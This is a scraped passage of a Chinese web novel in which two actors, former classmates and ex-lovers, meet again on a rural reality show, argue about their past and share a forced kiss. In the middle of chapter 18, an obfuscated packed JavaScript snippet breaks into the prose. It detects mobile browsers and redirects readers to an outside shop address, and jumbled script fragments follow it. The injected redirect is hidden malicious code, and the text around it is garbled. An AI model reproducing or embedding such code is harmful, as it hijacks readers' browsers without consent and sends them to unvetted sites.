秦琛正乐呵着,乐初白提着一棵树从他旁边经过,轻飘飘地来了一句:“一棵树一个币,你只种几棵,是想饿死其他人吗?” “……”秦琛耷着嘴角,拿着铁锹,老老实实挖坑。 早上的任务就是枯燥的种树,想来后期也是会快进这一部分,于是大家几乎不怎么说话,只顾着刨坑栽树再填土。 运来的树苗差不多种满了半块地,点过数后,几个人又带着新入账的樱花币到小卖部进行了一轮报复性消费。 这笔钱足够他们活到下一期节目录制,要不是为了给节目组多一点素材,加上大家不爱半途而废的性格,还是决定明天把剩余的地种完。 午后的气温还是闷热的,吃过午饭后大家就各自安排了。 秦琛将乐初白赶回楼上睡午觉,量了体温换了退烧贴,和昨晚一样,给他打筋膜枪,又一次把人打睡着了。 秦琛也躺回自己的床铺,没再背对乐初白。 他枕着胳膊,猜测乐初白平时应该不会有这么多睡眠时间,这两天基本是沾了枕头就睡,除却感冒的原因,大部分还是连日的休息不足。 上学的时候也这样,课间和午休,别人睡觉时他在写作业。 放学了就去打工,一直到九点半,到家差不多十点钟,也不早睡,继续学习,然后第二天早早起床去上学。 就连周末可以多睡一会儿的日子里,乐初白的字典里却似乎没有“懒觉”这个词,雷打不动的在六点起床。 后来他们住到一起,乐初白就被他拖着慢慢有了“睡懒觉”这一行为。 几年过去,他的生物钟又调回去了。 房间设备开着,秦琛只能用气声对乐初白说话。 “好好睡觉,别做噩梦。” 他停了一下,注视着乐初白。 心想,如果可以,请再一次来我怀里。 16. 绯闻 下午的任务是给留宿的罗夏天做一张床。 常驻嘉宾的床是搭好送给他们的,而嘉宾的只能自己动手,木板、钉子、切割机等工具一应俱全,来几个就造几张床。 好在今天只有罗夏天一个人,不然照他们第一次做木工的速度,今晚可要挤着睡了。 秦琛带着卷尺,乐初白拿着纸笔,俩人一起到杨清越的房间测量单人床的尺寸。 “床板长200厘米,宽88厘米,床头立柱高73厘米,床尾立柱47.5厘米……”秦琛一一报出数据。 乐初白花了个简易的草图,将数据记录下来:“可以了,出去吧。” 造床的工作交给了三位男士,林紫烟带着两个姑娘到千里湖钓鱼去了。 材料已经放在工具房,秦琛看到数字就头疼,只能靠樱花屋脑子最好的乐初白,喊他拿几根木头就拿几根。 乐初白蹲在地上,拿着马克笔往长条木材上测量标记,道:“先把床头做了。” 他照着先前记录的数据要下笔,忽然想起什么,停下来重新计算了每一个数据。 杨清越见状问道:“怎么了?” 乐初白抬头:“秦老师,你刚刚量数据的时候,有没有去掉木头的厚度?” “没有。”秦琛道,“要去掉吗?” “不去掉的话,做出来的床肯定会长出一截。” “长就长了,能睡不就行了。” “不统一,看起来不舒服。”乐初白说着就起身,带上卷尺回了房间,“我去量一下是不是一样厚的木头。” “……” 一分钟后,乐初白带着新数据回来了。 “好了,可以开工了。” 三人追求质量,不追求速度,乐初白负责需要精细的标记工作,杨清越切割,秦琛则负责打磨毛刺。 “歪了,上边对着黑线。” “这钉子敲不进去啊,材料有问题吧?” “秦老师,你别乱玩切割机。” “我们不是有电钻吗,干嘛用锤子?” “秦老师,手不要离钻头那么近!” “…………” 太阳逐渐落下,直到日暮西山,三人终于将一张床造了出来。 由于女生宿舍的两位主人还没回来,几个大男人不好擅自进去,便只将床放在院中,到凉棚里坐着沏茶休息。 杨清越喝了一口茶,放松地吐出一口气:“这玩意儿其实也不难,跟组装积木差不多。” “明天是不是该修凉棚了?”乐初白道,“等我们下次来录制,天气应该就热起来了,没有顶遮太阳也不太行。” 杨清越苦笑道:“初白啊,这节目也不是不停歇地干活儿,该休息休息,就是下次录制在修也不迟的。” 乐初白自己的计划里,就是将这些破败的设施修理好,计划没能按照原定那般进行,乐初白有些焦虑。 不过想到这个节目也不是只围着他转,还是要配合其他人,那点儿焦虑也能忍受了。 “我们回来啦——” 钓鱼三人组踩着夕阳回到家,谢雪婧和罗夏天一起拎着桶,看起来有点儿重量。 杨清越跑得最快:“回来啦,是不是钓了很多,我看看。” 他接过水桶,低头一看,哑然片刻后问道:“它们……成年了吗?” 秦琛和乐初白也凑过来瞧了瞧,深蓝色的木桶里装了一半的湖水,里头游着两条小鱼,看起来或许和巴掌差不多大。 罗夏天说道:“我们问过渔民的,这样的大小的可以不放生,能吃的!” “行,算加餐了。”杨清越拎着桶走到水井边。 谢雪婧终于发现了院子角落里的“大积木”,惊喜道:“诶,这个床是给夏天的吗?” 乐初白:“对,就等你们回来了,给你们搬进去。” “辛苦了,这做的也太棒了。”谢雪婧去给他们搭了把手,一起把床搬回房间,“夏天,你去开门吧。” “好嘞!” 把床拼好后,两个女生留在房间里收拾床铺,乐初白和秦琛回到厨房,各司其职。 杨清越在水池边玩儿那两条小鱼,嘴里嘀咕着:“阿弥陀佛,请佛祖原谅我们杀生,我们一定会做得很好吃,让它们死得其所。” 紧接着他回过头:“好了初白,替你跟佛祖忏悔了,你来吧。” 乐初白:“……” 乐初白其实也没有亲自上手处理过活鱼,一直都是看外公操作,这鱼小得让他有些无从下手。 将鱼敲晕放血,乐初白一手拿刀,一手按住鱼身,唰唰几下就将鱼鳞刮了个干净,再开膛破肚清理内脏。 细长而白净的手指沾上了鲜红的血滴,血腥味和鱼腥味混杂在一起实在难闻。 洗过一次手后,乐初白把一只手伸到鼻子前嗅了嗅,还是隐隐感觉没洗干净,味道依旧粘在指尖上。 眉头不自觉地皱起,下一秒,随意搭在水池边的手上,落下了一团清凉的乳液。 乐初白下意识低头去看,而后又看向旁边的人。 秦琛默默地拉下他另一只手,往手心又挤了一泵洗手液,然后转身就走。 动作一气呵成,乐初白还没完全反应过来,盯着手心的淡黄色液体,然后慢慢合掌揉搓。 双手逐渐被绵密的泡沫包裹,清新的柠檬味弥漫开来,乐初白抿着嘴沉思,在流淌的清水中无声地叹了一口气,冲洗掉泡沫。 * 晚饭过后,大家聚在客厅聊天。 罗夏天此行最重要的还是宣传新剧,杨清越自然而然地提起,问了播出时间。 目前网络上并没有公布具体时间,不过本期节目播出的时间一定是在新剧开播之后,罗夏天也不藏着掖着,直接说道:“6月1号,儿童节。” 儿童节后的第二周是第二期节目的播出,剧集的讨论度也正是最热的时候,不得不说罗夏天的团队很懂得找时机。 二人的新剧是青春校园题材,剧本是圈内知名编剧操刀,导演拿过最佳导演奖的年轻导演,主演是当红小花和小生,业内很看好这部剧。 杨清越:“夏天在里面演叛逆少女对吧?” 罗夏天点头:“我是大家眼中的‘问题少女’,师哥就是只会读书的三好学生。” 乐初白的视线在二人身上来回看了看,他有点儿无法将看起来就是乖乖女的罗夏天和‘问题少女’联系起来。 同样,在他见过高中时期的秦琛后,他也想象不到秦琛演学霸书呆子是怎样的情景。 和他有同样感觉的还有林紫烟 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“诶,我们这不是有吉他吗?”杨清越指了指靠在角落的吉他,道,“小秦要不现场弹一首?” 吉他在罗夏天身后,她起身去取,拿给秦琛,然后坐在他旁边。 秦琛盘腿坐着,随意拨动琴弦,似乎在想要弹什么。 罗夏天对他道:“不然弹主题曲?” “记不清谱了。”秦琛轻笑,“我弹另一首。” 他们对面的是乐初白,眼前的画面倒是让他想起了之前看过的预告图,穿着校服的少年,坐在椅子上弹吉他,眼神温柔地望向坐在桌上的女孩儿。 想来后期也会往这方面剪辑,绝妙的宣传镜头。 他又想起下午去种树的路上,谢雪婧和他说过的话。 谢雪婧看出乐初白和罗夏天之间的陌生,在路上主动和他介绍。 “她比我大两届,比秦老师小一届,出道第一部戏就演了女主,秦老师也参演了那部戏,演的是男四号。” 秦琛演男四号,那应该是早期刚出道的时候。 乐初白记得他的角色,回想了一下,问道:“是《告白默片》?” “对,你也看过啊?” “看过剪辑。” 秦琛的单人剪辑。 谢雪婧明了,又道:“我记得是在江城拍的,拍的太唯美了,跟江城旅游宣传片似的。” “江城?” “对啊,”谢雪婧看向他,“哥哥你不是就在江城大学读书的吗?在你们学校拍的,你不知道?” 乐初白垂眼,这么看来,他和罗夏天或许不是第一次见。 “没太关注,片场不在我们学院。” “这样啊,”谢雪婧继续道,“夏天出道挺顺利的,她本人也努力,挑本子的眼光好,不过经常会被捆绑CP营销。” 娱乐圈里,俊男美女搭戏被拉郎配太正常不过。 “她最近的绯闻对象刚好是秦老师。” 乐初白眸光一闪,忽地笑了。 和从前的风流校草,现在的偶像剧小王子传绯闻,更正常了。 17. 「P」校草 乐初白很早就知道秦琛是个祸水。 刚迈进高中的那个夏天,又热又干燥,即便是到了八月份的尾巴,气温也没有降下来。 于是开学前的军训,就在学生们的一片哀怨声中展开。 艳阳高照,晒得人都黑了一圈,寝室里甚至有人每天睡前和起床都在阳台上对着天空祈雨,不过显然没有成效。 按理说,军训期间不允许使用手机,但总有人耍小聪明,藏一部交一部,而乐初白的寝室里就有俩,连充电宝都准备了几个,完全不用担心没电。 乐初白不是电子设备中毒患者,一星期不碰手机也没什么,他的消遣方式是看漫画书。 军训第一天晚上,一寝室十二个人排着队去洗澡,男生洗澡基本是冲了水就出来,一接一个,速度很快。 乐初白排在前头,洗漱完爬回上铺,又看起了漫画,没参与其他人的聊天打闹。 熄灯后,教官在外面巡查,大家只好先闭嘴,乐初白在这终于安静下来的空间里,萌生出了睡意。 迷迷糊糊时,其中一个带了手机的男生从阳台回来,低声说:“听说五班有一个大帅比。” “你咋知道,有照片没?” “没有。” “那你说啥呢,咱班也有啊。” 男生又道:“我女朋友跟他一个班,她说很帅。” “哟,唐维,你要小心咯。” 叫唐维的男生不屑地说:“切,她要是看脸,当初就不会看上我了,我相信她爱的是我的灵魂,不是那么肤浅的人。” 众人笑了笑,有人又问道:“今天休息的时候,我看了看其他班的人,好像还没发现有谁比乐初白长得还好看的,那人有乐初白这么帅吗?” 被点名的乐初白险些要睡着了,听到自己的名字和他们的话后,有些不大好意思,又不知道该说什么,只能继续闭着眼装睡。 军训第三天,五班的教官告假,总教官把五班和一班放在一起合训,乐初白所在的二班就在他们身后。 那时他们正在原地休息,旁边有在抱怨天气太热、教官太狠,也有在偷偷聊晚上回寝打几把游戏的。 乐初白没有参与任何一边的讨论,安安静静地喝水。 总教官带着五班的人过来时,原先在聊天的同学纷纷停了下来,随后发出细细碎碎的声音。 “听说五班有帅哥,是哪个啊?” “不知道呀,戴着帽子看不清。” “听说还是校草级别的,不知道真的假的。” 旁边的人探身问:“唐维,你知道是谁不?” 唐维:“叫秦琛的。” “……我难道是要站起来喊他一声吗?你指一下啊!” 唐维:“我没见过!” “你说咱班和他们班比,谁会赢?” 乐初白夹在俩人中间,心想自己要不要往后退一点,让他们坐一块儿聊。 没等他挪位子,唐维十分自来熟地把手搭上他肩膀,他们其实只说过几句话,在乐初白看来并没有熟到这种程度。 唐维道:“咱班有乐初白,肯定不输他们。” 乐初白不知道他为什么这么快就有集体荣誉感,而且自己为什么要去和一个素不相识的人比,还是比外表这种与他们学生身份没多大关系的东西。 乐初白对于自己的长相并没有多上心,更别提关注其他人了,他会在外人口中得知自己长的或许是属于不错的那一类。 说到底还是个少年人,被人夸赞会觉得不好意思,但心里也有几分窃喜。 偏偏这种话不能自己说,通过别人的嘴说出来,似乎比自己自夸来得更真实些。 他也一直觉得不会有这样自卖自夸的人,直到后来遇见秦琛。 大家并没有看到传说中的大帅比,因为大帅比被点名去当国旗护卫队了。 另一边的训练场,秦琛和其他班的另外两名同学在单独训练,最后一天的军训汇演,就由他们担任国旗手,举行升旗仪式。 一直到第六天晚上的文艺表演,秦琛代表五班上台,单手拎着吉他,坐在舞台边缘。 他脱了上身的迷彩服,里面是自己的黑T恤,下摆扎进裤子里,宽大的裤子穿在他身上倒不显臃肿,反而有种慵懒的气质。 学校不要求他们剪寸头,只要不烫不染,不是杀马特非主流的发型就行。 秦琛开学前刚剪的头发,不长不短正合适,他低头试着音,摇摇头,对借给他吉他的教官说:“教官,你这吉他多久没调音了,都能跑回我家了。” 教官:“……” 秦琛凭着自己的音感调好音,话筒架在嘴边,等场下安静下来后,他才慢慢拨动琴弦。 是一首很经典的老歌,旋律悠扬,像是奔跑在秋季的麦田里,扭头一望,远处天边是渐渐泛起的黄昏。 乐初白终于对晚会有了几分兴趣,不是因为上面的人,是因为这是唯一一首他听过的歌。 他们就坐在操场上,离舞台并不近,前面乌泱泱的人,不少举着手挥舞的,整个场地的灯光都来源于路灯,舞台并没有专门的打光,他更是看不见唱歌的人长什么样子。 秦琛唱得感觉比原版慢了一点,嗓音不如原歌手的低,少了几分阅历,多了一点儿青春的气息。 前面表演的都是劲歌热舞,秦琛这首歌倒像是拿着薄荷冰茶,送到乐初白面前,微笑着询问他要不要喝一杯? 他清亮干净的声音夹杂在周遭同学的欢呼声中,乐初白静下心来捕捉他的歌声。 直到他弹完最后一个音符走下台,乐初白还是没看清他的脸。 不过也不算一无所获,他听完了一首喜欢的歌,知道了这个叫秦琛的人,声音挺好听的。 * 新生群里不知道什么时候办了一场校草评选大赛,入围了几名选手,迟迟没有定下来。 管理员发起投票,秦琛和乐初白的票数遥遥领先,不过因为不是全部人参与,这个结果也不作数,就当是他们自娱自乐的产物了。 这件事很快就过去了,没什么人再提起。 乐初白的高中生活很无聊,上课、吃饭、放学去打工、回家睡觉,每日重复,他没什么时间关注外界的故事。 其他人八卦的无非是谁给校草秦琛塞了情书,宿舍楼下亲嘴的小情侣又被抓了,食堂左一窗口的阿姨打菜手抖…… 并不是他关心的事情。 他前桌后桌都和他一样,下了课就掏出作业来写,于是他们这一块区域像是与世隔绝了一般,很少有人聚在这里。 第一次被围得水泄不通,是秦琛转到他们班那天。 已经高二下学期了,竟然还有转班的,乐初白出于好奇,从作业堆里抬起头,朝讲台 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他不会主动和谁聊天,一般来找他的同学都是来问题目,在其他人眼里,他虽然安静到有些孤僻,但是成绩好,讲题很温柔,多问几次也不会生气。 休息时间、公共场合,他无法让其他安静,尽管被吵得有些烦躁,也只是皱着眉,看起来倒像是在思考什么难题。 好在考试后,班主任调了一次座位,他和秦琛分开了,他又回到了以前与世隔绝的空间里。 可惜好景不长,高二下学期最后一次换座位,他的同桌换成了秦琛。 不知道是谁挑起的头,沉寂已久的新生群又被顶了起来,有人拍了两人坐在一起的照片,问两大校草同框,谁赢了? 二人被同学告知这个消息时,秦琛笑了一声,偏头看了一眼乐初白。 乐初白察觉到他的目光,扭头望回去,语气淡淡地说:“无聊。” 那时他们的关系还止步于同学关系,算不上朋友,平时没什么交集,秦琛也能感觉乐初白不想更进一步,于是很识趣地不和他过多交流。 后来的某天,或许是夏至,乐初白从打工的便利店下班出来,戴着耳机走在回家的路上。 这里离他家有段距离,他今天的作业在学校写了大半,并不着急回去,就在路上慢慢走着。 他的歌单还是以前的老歌,随机播放。 夏天闷热,蝉鸣声不停,耳机的音乐又播完了一首。 极短暂的安静后,清悦的吉他音响起,乐初白愣了一下,调高音量,听到熟悉的歌声。 好像有一段时间没有随机到这首歌了,乐初白微微扬起嘴角,跟着音乐轻哼。 乐初白觉得此情此景莫名熟悉,他停下脚步想了片刻。明明耳朵里听的是歌手的原声,脑子里却想到了另一个人的声音。 是因为现在也是夏天吗? 忽然一道轰鸣声从旁边疾驰而过,一瞬间盖住了耳机里的声音。 乐初白也被这突如其来的噪音吓了一跳,望着已经消失在前方的机车,低声嘀咕:“就你会骑车,吵死了。” 音乐已经播到尾声,乐初白重新将进度条拉到开头。 还是感觉不一样。 要是能再听他唱一次就好了,乐初白轻轻叹了一口气。 18. 争执 秦琛很长一段时间没有弹唱过这首歌了,不过这首曲子旋律简单,几年后再弹也没有出错。 军训场地大,所有高一班级都聚在一起,操场的灯还坏了两盏,除了坐在前面的人能蹭到光,后排的同学基本隐在昏暗中。 而此时他坐在明亮的小屋里,他的听众比几年前少了很多,唯一一个听过两次现场版的人也没有再被黑暗笼罩。 秦琛望向对面抱膝而坐的人,发现乐初白虽然也望着他这边,但视线却是落在吉他上,不过看起来并没有聚焦,像是在出神。 一直到他停下,过了三秒,乐初白才回过神来,眼神有些懵,似乎在问怎么停了,然后才迟钝地鼓了鼓掌。 秦琛把吉他放回原位,坐在了罗夏天原先的位置上,和乐初白之间只隔了一个谢雪婧。 杨清越感叹道:“难怪有这么多人喜欢,这不妥妥的多才多艺校草吗?” 秦琛欣然接受这个称号。 “师哥以前还真是宁城一中的校草,在学校表白墙都出圈了。” “秦老师是宁城一中的?”谢雪婧突然问道。 秦琛:“是,怎么了?” 谢雪婧扭头看向乐初白,询问道:“哥哥,你之前是不是和我说过,你也是宁城一中的?” 乐初白几乎是瞬间僵在原地:“……对。” “我想起来了!”罗夏天惊呼道,“有人放了乐老师和秦老师的图,标题是两大校草,因为我之前对乐老师不熟悉,一时没认出来。” “嚯!”杨清越也插话问道,“真的啊?你俩同届吗?” 眼看是躲不过去了,乐初白放弃挣扎,答道:“同届。” “原来是同学啊,”杨清越像是被人骗了多年,又忍不住八卦道,“那小秦高中是怎样的,像三好学生吗?” 这话一出,大家的目光都落到乐初白身上,秦琛也不例外。 他看见乐初白小幅度地偏头,和自己对视一眼,然后慢慢地开口,语气平淡:……不是很熟。” 秦琛一顿,桌下的手不自觉收紧。 如果不是镜头在拍,此时怕是已经嗤笑出声。 杨清越还想再问什么,PD敲门打断了他们:“不好意思,打扰各位老师一下。” PD朝乐初白说道:“乐老师,您的经纪人说有紧急的事情,但是联系不上您。” 乐初白起身:“我知道了,手机在楼上,我上去给他回电话,谢谢PD。” PD传完话就走了,乐初白也和他们道了歉,快步上楼。 主角少了一个,秦琛顺势把话题又转回了新剧的宣传上,他提及其他人的高中生活,唯独不再让自己和乐初白的旧事被摆到明面上来。 楼上。 乐初白找到手机,一点开就是好几个未接来电,他赶紧给赵远辞回电话。 “怎么了,赵哥?” “明天晚上的航班被取消了,广骊在刮台风,这几天的航班都飞不出去。” “那我明天回云江?” 赵远辞:“回云江来不及,我现在看几趟航班,明天中午十二点,从汇临飞到上屿,下午有航班去丹麦。” “中午……”乐初白问,“和节目组打好招呼了吗?” “我是担心这个时间太紧了,这样太累,所以……” 乐初白:“没事儿,别让剧组等我们了,你和节目组说一声,明天我提前走。” “好吧,后面的事情我来处理,你今晚好好休息。” 挂了电话后,乐初白疲累地坐到床尾,手臂搭在大腿上,低垂着头,前额的头发挡住头顶的灯光,看不清神情。 依稀能听到楼下传来的声音,想到他们可能还在聊的话题,乐初白心里莫名生出几分烦乱。 他一直不知道该怎么处理自己和秦琛之间的事情,没有做好万全的准备就敢来有他的地方,以至于现在只能像只鸵鸟一样逃避。 隐隐的又察觉有些头疼,乐初白抬手捂住自己的脸,沉重地深呼吸着,竭力让自己放松下来,以缓解不知道是由身体劳累还是某个人引起的头疼。 不知道缓了多久,感觉不那么难受后,乐初白依旧不想回楼下,于是找出了睡衣,先去洗澡。 水流温热舒适,算是搭建了一个小型的庇护所,暖和又能与人隔绝开来。 要是能一直在这样的空间里就好了。 没有人会闯进来,没有人会在门口交谈,他可以在近乎封闭的地方,守着自己那么一点儿秘密。 浴室水汽蒸腾,乐初白关了花洒,穿好睡衣,站在镜子前随意地将头发擦到半干,然后拧开门把手准备出去。 门才开了一条缝,突然被外力往里推了推,一下秒手臂被用力抓住,他被人重新推回了浴室。 秦琛反手关了门,将乐初白压到墙壁上。 瓷砖上都是细密的水雾,睡衣薄薄一层,很快就沾上潮湿的感觉,贴在后背上不大舒服。 乐初白眉头微皱,微湿的凌乱额发落了几缕在眼前,有些痒。 他稍稍眯起眼,想上手整理头发,才抬起一点又被秦琛按了回去。 “做什么?”乐初白问道。 秦琛原先在楼下已经将自己哄好了,结果上楼的这么点时间里又东想西想,把自己想郁闷想生气了,现在濒临爆发。 两个人的麦都摘掉了,加上有一道门的阻隔,房间里的收音设备只能录到嗡嗡的声音,想说什么都不会被人知道。 秦琛直直地看着他,控制着情绪,问:“我是谁?” 乐初白不明所以,但还是回答:“秦老师。” “我难道没有名字吗?” “……秦琛。” 分开七年后的第一句“秦琛”。 听到了却没有丝毫快乐。 秦琛又问:“我们高中是同桌,对吗?” 乐初白一愣:“是。” “我们谈过恋爱,对吗?” “……是。”乐初白忍不住问,“你到底要说什……” “这不是记得很清楚吗?”秦琛骤然打断他,语气加重,压着乐初白肩膀的手也不自觉用了力,眼底却是慢慢浮起一点水汽,“为什么说记不清!” “我……” “一句记不清就想抹掉我们之间的所有?和我在一起过让你很丢人吗?” 秦琛靠他更近,几乎要将乐初白困在自己与墙壁之间,让他无处可逃,接受自己的盘问。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13513506|142241||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 相较于秦琛的恼怒,乐初白可谓是出奇的冷静,神色漠然地说:“那你是要我在摄像机面前,说我们曾经谈过恋爱吗?” 乐初白动了动肩膀,秦琛的手已经泄了劲儿,很容易挣脱。 他终于有机会将恼人的头发撩到后方,将秦琛看得清清楚楚。 莫名的像一只受伤的漂亮狐狸,微微低着脑袋,因为不知道怎么回答乐初白的问题,气得在咬自己的下唇。 “本来并没有多少人知道我们曾经是同学,我也不想因为节目播出后被人扒出以前的事情。” 秦琛抬眼看他:“我又不怕。” “不论是不是与你有关的,我都不想。”乐初白道,“我不喜欢我的高中生活,明白了吗?” “不过既然现在不可避免的发生了,我只能及时止损,不让这些事被更多人知道。” 秦琛忽地笑道:“其实你要是多说一点,满足了网友的好奇心,说不定他们就不会去找以前的事,你怎么知道你含糊不清的话,不会让他们更好奇?” “那就算我计划错了。”乐初白说,“反正我们只在这三个月内会见面,以后还是保持之前的关系比较好。” “什么关系?” 秦琛近乎直白地盯着他。 乐初白侧开脸,很轻地说了一句:“就和之前一样吧。” 等节目全部结束后,就不要再见了,对他们来说或许是最好的选择。 “怎么,想和我一刀两断?从此老死不相往来?” 乐初白没有说话。 他的沉默让秦琛感到更加怄气,嗤笑道:“我们以前,可不只这一种关系。” “你想回到哪种关系?”秦琛问,“陌生人?同学?还是……” 秦琛逼近,低声道:“这种关系?” 说完他便抬手扣住乐初白的后脑勺,手指插进头发中,使了一点劲儿,迫使他仰头。 对面墙上的灯光晃到乐初白的眼睛,刺激得他闭上了眼。 下一秒,嘴唇猝不及防覆上一点温热。 熟悉到不能再熟悉的触感和气味,直接将乐初白拽进记忆的漩涡。 心脏像是瞬间停跳了一拍,再次跳动时强烈且震耳,乐初白霎时间睁开眼睛,对上秦琛深沉的视线。 方一贴上乐初白的唇,按捺不住的情愫就开始蔓延,让秦琛不满足于此。 多亲密的事情都做过了,现在这一点接触连望梅止渴都算不上。 置于乐初白脸侧的手慢慢向后,指尖轻轻地滑过他的耳廓。 他对乐初白身体的敏感点太清楚了,只需要这么一个动作,乐初白便瞬间打了个颤。 趁着这个间隙,秦琛轻而易举地撬开他的牙关,更深地吻了下去。 这个亲吻不算温情,秦琛亲得毫无章法,更像是单纯的发泄。 过了一会儿,秦琛喘着气松开他,乐初白还没从眩晕中回过神来,眼神空洞而迷茫。 唇角被面前的人不轻不重地抹了一下,乐初白对上他的眼睛,比方才更黑更幽深,然后他看见秦琛又一次靠近。 即将再次吻上时,乐初白终于清醒,一把推开了他,思绪混乱地逃离了被人侵入的庇护所。 19. 宣传片 乐初白回到卧室,推开窗,夜风灌入,将他脸上的热意吹散。 事情怎么就发展成这样了?乐初白死活想不明白。 他并不是真的想将自己和秦琛的故事抹掉,相反,他未来很多年,或许都要抱着这段回忆度过。 只是他们确实无法再进一步,他知道他们之间最大的问题,当年分手没有谁对谁错,无非是各自观念不同,强行在一起只会让两个人都更加疲惫。 就像现在,他和秦琛的处理方式依旧不同,他总是想得长远,希望每一步都按照自己的计划在走,能让自己处在安定的世界里。 而秦琛更注重当下的感受,想做就做,哪怕出了问题,事后可以弥补,再困难都能有解决方法。 太未知了,这不是乐初白喜欢的方式。 好比他刚才的所作所为,乐初白想过他和秦琛再见面后可能会发生的一切,唯独不会有刚才那一幕。 但他依旧不知道秦琛是尚且有几分理智,知道避开摄像头,还是只是因为自己那时恰好在浴室,倒是省去了可能出现的麻烦。 现在想来还是有些头疼,秦琛越来越像一颗不定时爆炸的炸弹,要是哪天自己一句不经意的话,又引起今天这样的事情,万一不想今天一样幸运,直接暴露在镜头之下,乐初白不知道该如何收场。 是不是太自负了?乐初白心想。 只是草草计划过,觉得自己可以理智地应对,所以接下这个项目,还让赵远辞去给节目组施压,只是为了跟秦琛当个明面上的……朋友? 乐初白忽然很轻地笑了一声,或者“同事”更合适吧,他们似乎做不成朋友了。 身后传来脚步声,一条胳膊从后方伸过来,把窗户关上。 乐初白抬眼,见秦琛瞪了自己一眼,然后就走开了。 莫名其妙的。 算是一种心照不宣的停战,毕竟在拍摄中,再吵起来对谁都不好。 乐初白这么想着,又看见秦琛拿起手机拨了电话,对着那一头说道:“把我们房间的设备关掉。” 电话那头的人似乎说了什么,秦琛又道:“睡觉有什么好拍的,我还能睡着了表演杂技给你们剪素材吗?” 下一秒,房间里所有设备的红点全部熄灭。 乐初白:“……” 要接着吵架了吗?得控制一下音量吧,门板看起来没有很隔音,要是吵到楼下…… 他正胡思乱想着,预想中的吵架并没有发生。 秦琛像是把他当成了透明人,看都没看一眼,拿着睡衣和面膜,又回到浴室。 乐初白彻底摸不准他的心思了。 逃避虽可耻但有用,乐初白睡觉去了。 等秦琛出来时,乐初白已经侧躺在床上一动不动,呼吸均匀,看起来是睡熟的状态。 他站着看了一会儿,然后走到门边关了灯,没开小夜灯,摸着黑走回自己的床铺,慢慢地躺了下去。 松了一口气的同时又有些恼,虽然他没有想和乐初白继续争论的意思,但乐初白是不是有些心大了? 被前男友按着亲了还能睡得这么熟,是半点儿都不放心上? 秦琛翻了个身面对乐初白,只能看清一点轮廓,他伸出手,在乐初白下唇按了一下。 “还真睡得着啊。” 乐初白:“……” 需要睁眼跟他说一下,他其实没有睡,只是不想理他吗? 没等他想出结果,熟悉的气息又覆了上来,嘴唇代替了手指,秦琛在他唇上报复般的咬了一下。 “…………” 被子下的手下意识攥紧,乐初白彻底装死了。 * 第二天是两期节目最后的录制,素材已经足够,导演组决定先把宣传片和宣传照拍了。 起来后大家先后到导演组的小房间里化了淡妆,这几天把嘉宾累得有些疲惫,上点妆让气色好一点。 节目组的化妆师在给杨清越上粉底,秦琛气定神闲地坐在旁边,他有自己的御用化妆师,尤其擅长这种伪素颜妆容。 秦琛骨相本就生得好,太厚重的妆反而不能放大他的优点。 条件优越,很快妆面就完成了。 秦琛满意地对着镜子欣赏了半分钟,才出门去把乐初白拉进来,坐到自己刚才的位置上。 他姐化过各种各样的脸,想必不会出错,秦琛很放心。 乐初白并不挑化妆师,就是个宣传短片的拍摄,拢共播出来也不会有几分钟,随便化化就行了。 而秦琛的意思是,都带上“宣传”的字样了,那必须得完美。 他也不出去,就抱着胳膊站在后面看。 秦琛冷脸的时候会让人觉得周遭空气都冷了下来,杨清越还以为他化个妆把自己化生气了,细看化了妆更帅,他想生气了。 乐初白被他盯得发毛,视线只能落在桌子上,尽量不看镜子,免得又和他对视上。 看起来昨天那件事他还没消气,乐初白在心里叹气,现在不像以前,他实在不知道该怎么哄人,又以什么立场去哄。 见他始终没看自己,秦琛好不容易才把自己哄好,又生气了。 他走到乐初白身后,脸色阴沉地把手搭上椅背,更加逼视着他。 乐初白突如其来的动静下了一跳,下意识抬起眼,就对上了秦琛不悦的眼神,看起来想掐他。 没等他开口,一旁的化妆师Yuki开口道:“要补妆?” “没有。”秦琛道。 “那你过来干嘛?” “看看。” Yuki嫌他碍事,拂了拂手,想让他先出去,秦琛却死赖着不走。 乐初白受不住被人一直这样盯着,默默地又微微垂下了头,倒是让Yuki不方便了。 “乐老师,头抬一下。” 没等他抬头,身后已经有一双手捧着他脑袋往上抬了抬,他就这么又和镜子中的人对上了视线。 乐初白:“……” 起床到现在,秦琛一直憋着一股火,他知道昨天的事情自己也有错,但不多,两人找个台阶也就下了,结果乐初白到现在都没有和自己说过一句话,台阶影儿都没有。 他都这样举着他脑袋了,乐初白竟然还是无动于衷,像个木偶一样任由他摆布。 算了,秦琛懒得找台阶了,松开手,转身出了房间。 等所有人化完妆,在院子里等着PD指导,罗夏天不参与拍摄,就坐在屋檐下看着。 PD和他们大致说了宣传片的内容,并不需要什么演技,拍得好玩儿有趣最重要,让不是表演专业 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两人再次露出职业假笑,不得不说演技是真好,半点儿也看不出异样,像是真的很开心一般。 大合照成功拍摄完毕,接下来是单人和组合形式的拍摄。 一到单人拍摄,秦琛和乐初白仿佛开机重启过,摄影师要怎样的效果就能马上完美表现。 乐初白是专业模特,基本不用摄影师怎么调,拿着道具就能摆出合适的姿势,眼神、嘴角、脑袋的角度都像是精细算过的,一拍就是神图。 两人距离不远,同时进行拍摄,PD站在中间,左边看一眼右边看一眼,这边夸完夸那边,夸得秦琛胜负欲起来了。 比演技或许秦琛还会认输,但比颜值,秦琛从来不惧怕。 他偷偷地往旁边瞥了一眼,只能看到乐初白的侧脸,看了一会儿感觉有些郁闷。 真是的,长得跟他不相上下,怎么比。 为什么非要长这么好看,让人看了就想亲,讨厌死了。 拍摄结束,乐初白也要准备先离开去机场赶飞机了。 他和其他人说了一声,回到楼上收拾行李,秦琛也跟了上来。 乐初白以为他要说什么,问道:“有事?” “没有。”秦琛只倚着门框看他收拾。 乐初白没时间思考他是不是无聊没事干,直接无视他,在屋里走来走去找齐自己的东西,一一装回行李箱。 “我想了一下你昨天说的。”秦琛突然开口道。 乐初白愣了愣,扭头看他:“?” “我可以答应,”秦琛道,“不过那是三个月之后的事情。” 